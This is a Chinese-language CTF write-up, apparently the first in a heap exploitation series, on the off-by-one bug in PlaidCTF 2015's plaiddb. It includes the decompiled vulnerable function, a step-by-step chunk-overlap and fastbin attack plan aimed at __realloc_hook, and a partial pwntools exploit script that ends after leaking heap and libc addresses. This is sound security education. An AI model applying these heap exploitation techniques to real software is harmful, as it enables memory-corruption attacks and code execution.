堆入门系列教程1
序言:第二题,研究了两天,其中有小猪师傅,m4x师傅,萝卜师傅等各个师傅指点我,这次又踩了几个坑,相信以后不会再犯,第二题感觉比第一题复杂许多,不是off-by-one的问题,是这种攻击方式的问题,这种攻击方式十分精妙,chunk overlap,堆块重叠,这种攻击方式我也是第一次见,复现起来难度也是有滴
off-by-one第二题
此题也是off-by-one里的一道题目,让我再次意识到off by one在堆里的强大之处
plaidctf 2015 plaiddb
前面的功能分析和数据结构分析我就不再做了,ctf-wiki上给的清楚了,然后网上各种wp也给的清楚了,我没逆向过红黑树,也没写过,所以具体结构我也不清楚,照着师傅们的来,确实是树
数据结构
struct Node {
char *key;
long data_size;
char *data;
struct Node *left;
struct Node *right;
long dummy;
long dummy1;
}
这个函数存在off-by-one
char *sub_1040()
{
char *v0; // r12
char *v1; // rbx
size_t v2; // r14
char v3; // al
char v4; // bp
signed __int64 v5; // r13
char *v6; // rax
v0 = malloc(8uLL);
v1 = v0;
v2 = malloc_usable_size(v0);
while ( 1 )
{
v3 = _IO_getc(stdin);
v4 = v3;
if ( v3 == -1 )
sub_1020();
if ( v3 == 10 )
break;
v5 = v1 - v0;
if ( v2 <= v1 - v0 )
{
v6 = realloc(v0, 2 * v2);
v0 = v6;
if ( !v6 )
{
puts("FATAL: Out of memory");
exit(-1);
}
v1 = &v6[v5];
v2 = malloc_usable_size(v6);
}
*v1++ = v4;
}
*v1 = 0;//off-by-one
return v0;
}
然后师傅们利用堆块的重叠进行泄露地址,然后覆盖fd指针,然后fastbin attack,简单的说就是这样,先说明下整体攻击过程
- 先删掉初始存在的堆块 th3fl4g,方便后续堆的布置及对齐
- 创建堆块,为后续做准备在创建同key堆块的时候,会删去上一个同key堆块
- 利用off-by-one覆盖下个chunk的pre_size,这里必须是0x18,0x38,0x78这种递增的,他realloc是按倍数递增的,如果我们用了0x18大小的key的话,会将下一个chunk的pre_size部分当数据块来用,在加上off-by-one覆盖掉size的insue位
- 先free掉第一块,为后续大堆块做准备
- 然后free第三块,这时候会向后合并堆块,根据pre_size合并成大堆块造成堆块重叠,这时候可以泄露地址了
- 申请堆块填充空间至chunk2
- chunk2上为main_arena,泄露libc地址
- 现在堆块是重叠的,chunk3在我们free后的大堆块里,然后修改chunk3的fd指针指向realloc_hook
- 不破坏现场(不容易)
- malloc一次,在malloc一次,这里有个点要注意,需要错位伪造size,因为fastbin有个checksize,我们这里将前面的0x7f错位,后面偏移也要补上
- 最后改掉后,在调用一次getshell
exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'datastore'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
#context.log_level = 'debug'
try:
p = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# FORTIFY: Enabled
#!/usr/bin/env python
def GET(key):
p.sendline("GET")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)
def PUT(key, size, data):
p.sendline("PUT")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)
p.recvline("PROMPT: Enter data size:")
p.sendline(str(size))
p.recvline("PROMPT: Enter data:")
p.send(data)
def DUMP():
p.sendline("DUMP")
def DEL(key):
p.sendline("DEL")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)
def exp():
libc = ELF('libc.so.6')
system_off = libc.symbols['system']
realloc_hook_off = libc.symbols['__realloc_hook']
DEL("th3fl4g")
PUT("1"*0x8, 0x80, 'A'*0x80)
PUT("2"*0x8, 0x18, 'B'*0x18)
PUT("3"*0x8, 0x60, 'C'*0x60)
PUT("3"*0x8, 0xf0, 'C'*0xf0)
PUT("4"*0x8+p64(0)+p64(0x200), 0x20, 'D'*0x20) # off by one
DEL("1"*0x8)
DEL("3"*0x8)
PUT("a", 0x88, p8(0)*0x88)
DUMP()
p.recvuntil("INFO: Dumping all rows.\n")
temp = p.recv(11)
heap_base = u64(p.recv(6).ljust(8, "\x00"))-0x3f0
libc_base = int(p.recvline()[3:-7])-0x3be7b8
log.info("heap_base: " + hex(heap_base))
log.info("libc_base: " + hex(libc_base))
realloc_hook_addr = libc_base + realloc_hook_off
点击收藏 | 0
关注 | 2